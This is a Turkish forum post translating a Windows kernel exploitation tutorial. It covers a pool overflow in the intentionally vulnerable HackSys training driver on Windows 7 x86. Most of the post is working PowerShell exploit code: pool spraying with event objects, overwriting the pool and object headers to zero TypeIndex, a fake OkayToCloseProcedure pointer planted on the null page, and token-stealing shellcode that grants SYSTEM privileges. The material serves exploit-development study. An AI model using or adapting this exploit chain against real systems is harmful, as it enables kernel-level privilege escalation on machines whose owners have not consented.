Windows Exploit Geliştirme Serisi #16 | Kernel Exploitation -> Pool Overflow

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,192
653
Kernel Exploitation -> Pool Overflow

Merhabalar, Windows exploit geliştirme eğitim serisinin 16. bölümüne tekrar hoş geldiniz. Bugün, @HacksysTeam'in aşırı savunmasız olan sürücüsünü kullanacağız. Yine, okuyucuların bu konuya girmeden önce aşağıda listelenen kaynakları incelemelerini şiddetle tavsiye ediyorum, ayrıca daha fazla bilgi için 15. bölüme bakın. Hata ayıklamanın kurulmasına ilişkin ayrıntıları da 10. bölümde bulabilirsiniz.

Kaynaklar:
+ HackSysExtremeVulnerableDriver (https://twitter.com/HackSysTeam) - https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
+ HackSysTeam-PSKernelPwn (https://twitter.com/FuzzySec) - https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn
+ Kernel Pool Exploitation on Windows 7 (https://twitter.com/kernelpool) - http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf
+ Understanding Pool Corruption Part 1 (MSDN) - https://blogs.msdn.microsoft.com/nt...ding-pool-corruption-part-1-buffer-overflows/
+ Understanding Pool Corruption Part 2 (MSDN) - https://blogs.msdn.microsoft.com/nt...tion-part-2-special-pool-for-buffer-overruns/
+ Understanding Pool Corruption Part 3 (MSDN) - https://blogs.msdn.microsoft.com/nt...ruption-part-3-special-pool-for-double-frees/

Şu açığın bir kısmına göz atalım https://github.com/hacksysteam/Hack...iver/blob/master/Driver/Source/PoolOverflow.c

Kod:
NTSTATUS TriggerPoolOverflow(IN P**** UserBuffer, IN SIZE_T Size) {
    P**** KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Allocating Pool chunk\n");
 
        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);
 
        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }
 
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");
 
        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
 
        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
 
            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
hata bayaa baya ortada. sürücü x boyutunda bir şeyi alıp kullanıcı tarafından sağlanan verileri kopyalıyor fakat kullanıcı tarafından sağlanan verilerin transfer ettiklerinden daha büyük olup olmadığını kontrol etmiyor. Sonuç olarak, artan veri taşıyor yani. Fonksiyonu IDA'da daha ayrıntılı olarak incelemenizi öneririm, fonksiyon başlangıcı, etiketi ve transfer edilen verinin boyutunu aşağıda görebilirsiniz.

Kernel_Pool_1.png


Fonksiyonu çağırmak için aşağıdaki PowerShell POC'yi kullanabiliriz. bu arada maksimum boyutu kullandığımıza dikkat edin, daha fazla veri bir sonraki parçaya taşacaktır!

Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1F8
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Kernel_Pool_2.png


Gördüğümüz gibi, tahsis edilen yığın 0x200 boyutuna sahip ve bitişik olan başlığın hemen yanında duruyor pool header olarak resimden de görebilirsiniz. Bunu tekrar deneyelim ve sonraki yığın başlığının üzerine yazarak boyutu veya arabelleğimizi 8 artıralım.

Kod:
$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4
Kernel_Pool_3.png


duruma ve üzerine rastgele yazdığımız parçaya bağlı olarak burada tetikleyebileceğimiz bir dizi hata var. Her iki durumda da kutuyu BSOD'luyoruz ve artık basit bir exploitimiz oldu!

Oyun planımız

Kısaca bir oyun planı oluşturmanın iyi olacağını düşünüyorum. (1) non-paged pool'u öngörülebilir bir durumda alacağız, (2) kontrollü bir şekilde taşmasını tetikleyeceğiz, (3) bir shellcode callback(geri araması) ayarlamak için pool internals'ten yararlanacağız ve (4) kodu almak için yığın olmuş yani artıklaşmış pool'u serbest bırakacağız

Tarjei'nin makalesini okumanızı ve bu serinin 15. bölümünü incelemenizi şiddetle tavsiye ederim. Bu, yığın ayırmanın nasıl çalıştığını daha ayrıntılı olarak anlamanıza yardımcı olacaktır.

Non-Paged Pool'u 'Derandomize' Edin

Öncekinde, non-paged pool'a 0x60 boyutundaki IoCompletionReserve nesnelerini yollamıştık. Ancak burada, hedef nesnemizin boyutu 0x200'dür, bu nedenle bu boyutta bir nesneyi veya bu boyutla uyumlu bir nesneyi yollamamız gerekir. Neyse ki, event nesnelerinin boyutu 0x40'dır ve bu 8 ile çarpıldığında mis gibi 0x200'e çıkar.

Aşağıdaki POC, non-paged pool'u birleştirmek için ilk olarak 10000 event nesnesini ve daha sonra tahmin edilebilir veriler elde etmek için 5000 event nesnesini ayırır. Son 10 nesne tanıtıcısını stdout'a attığımıza ve ardından WinDBG'de ara verme noktasını manuel bir şekilde tetiklediğimize dikkatinizi çekerim.


Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Bunun gibi bir şey görmeli ve WinDBG'de bir ara verme noktasına ulaşmalısınız. Ara verme noktası dediğim şey yani breakpoint'e ulaşmanız lazım.

Kernel_Pool_4.png


stdout'a attığımız işleyicilerden birine baktığımızda, güzel sıralı 0x40 baytları görebiliriz.

Kernel_Pool_5.png


pool'u istenen bir duruma getirmek için yapmamız gereken tek şey, ikinci ayırmamızdan 0x200 baytlık ücretsiz segmentler. Bu, sürücü nesnesinin kullanması için delikler yaratacaktır. Aşağıdaki POC bunu göstermektedir.

Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
echo "`n[>] Last 16 object handles:"
for ($i=1;$i -lt 17; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}
 
Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Pool (yığınlaşmış) yapısı 101

Daha önce de belirtildiği gibi, kod yürütme elde etmek için "pool internals" özelliğinden yararlanacağız. Bu yapıları karıştırmanın her zaman bir BSOD ile sonuçlandığını zaten gördük, bu nedenle pool parçalarının düzenini daha iyi anlamak için özenle yapacağız.

Aşağıda, tek bir event nesnesinin ve onun oluşturduğu çeşitli yapıları tamamen görebiliriz!

Kernel_Pool_6.png


Öncelikle, burada bir WinDBG hatası var, yığın yapısını göstermek kadar önemli değil ama çok can sıkıyor. Burada sorunu gören var mı? Biri bana nedenini söylerse bedava pasta vereceğim :d Her neyse, daha sonra taşma işlemimizi gerçekleştirdiğimizde tutarlı (bir dereceye kadar) tutmamız gereken üç başlığımız var.

OBJECT_HEADER'da 0xC boyutunda TypeIndex değerine dikkat edin, bu değer, nesne türünü tanımlayan işaretçiler dizisindeki bir uzaklıktır. Bunu şu şekilde doğrulayabiliriz.

Kernel_Pool_7.png


event nesnesi işaretçimizle ilişkili OBJECT_TYPE'ı daha da numaralandırabiliriz. Ayrıca, dizideki ilk işaretçinin boş olduğuna dikkatinizi çekerim(0x00000000).

Kernel_Pool_8.png


Burada önemli olan kısım, "OkayToCloseProcedure" için ofsettir. Nesnenin tanıtıcısı serbest bırakıldığında ve yığın serbest bırakıldığında, bu değer boş değilse, kernel adrese atlayacak ve orada bulduğu her şeyi çalıştıracaktır. Bu bir kenara, bu yapıda "Silme Prosedürü" gibi diğer unsurları kullanmak da mümkündür.

Soru, bunu kendi yararımıza nasıl kullanabiliriz? pool yığınının kendisinin TypeIndex değerini (0xC) içerdiğini unutmayın, eğer öbeği aşar ve bu değeri 0x0 olarak değiştirirsek, nesne işlem boş sayfasında OBJECT_TYPE yapısını aramaya çalışır. Bu Windows 7 olduğundan, boş sayfayı tahsis edebilir ve shellcode'umuza sahte bir "OkayToCloseProcedure" işaretçisi oluşturabiliriz. Bozuk parçayı serbest bıraktıktan sonra, kernel(çekirdek) kodumuzu çalıştırmalıdır!

EIP'yi Kontrol Etme

Tamam, neredeyse özgürüz! pool'u kontrol ettik ve 0x200 bayt nesnemizden sonra 0x40 bayt event nesnesine sahip olacağımızı biliyoruz. Daha önce gördüğümüz üç yığın başlığının tam olarak üzerine yazmak için aşağıdakini kullanabiliriz.


Kod:
$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)
 
$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)
 
# The object header is partially overwritten
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
Kod:
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader +  $ObjectHeaderQuotaInfo + $ObjectHeader
Burada lekelediğimiz tek değer, 0x0C'den 0x00'e değiştirdiğimiz TypeIndex değeridir. Aşağıdaki kod ile dikkatli bir şekilde sahte bir "OkayToCloseProcedure" işaretçisi oluşturabiliriz.

Kod:
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$Al********Size = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$Al********Size, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$OkayToCloseProcedure = [Byte[]](0x43)*0x4
[System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length)
Teorimizi WinDBG'de doğrulayalım.

Kernel_Pool_9.png


Sw33t, bu noktada hemen hemen oyun bitti! Yine aranızdaki sherlock'lar daha önce olduğu gibi aynı can sıkıcı WinDBG hatasını fark edecektir.

Shellcode

Önceki yazılarda olduğu gibi, shell kodumuzu yeniden kullanabiliriz, ancak buraya kadar okuyabilmiş olan çalışkan okuyucular için bıraktığım iki küçük numara var! Biri shellcode epilogu ve diğeri boş sayfa düzeni ile ilgili.

Oyun bitti, daha fazla ayrıntı için lütfen aşağıda bırakacağım şeyleri kontrol edin.


Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
 
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 Al********Size,
        UInt32 Al********Type,
        UInt32 Protect);
}
"@
 
function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length-500);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC2, 0x10, 0x00                    # ret 16
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$Al********Size = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$Al********Size, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer
[System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length)
 
$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)
 
$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)
 
# This header is partial
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
echo "`n[>] Freeing pool chunks!`n"
for ($i=0;$i -lt $($Event_hArray2.Length);$i++) {
    $CallResult = [EVD]::CloseHandle($Event_hArray2[$i])
    }
Kernel_Pool_10.png


Source: https://www.fuzzysecurity.com/tutorials/expDev/20.html
Translator @Gauloran
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.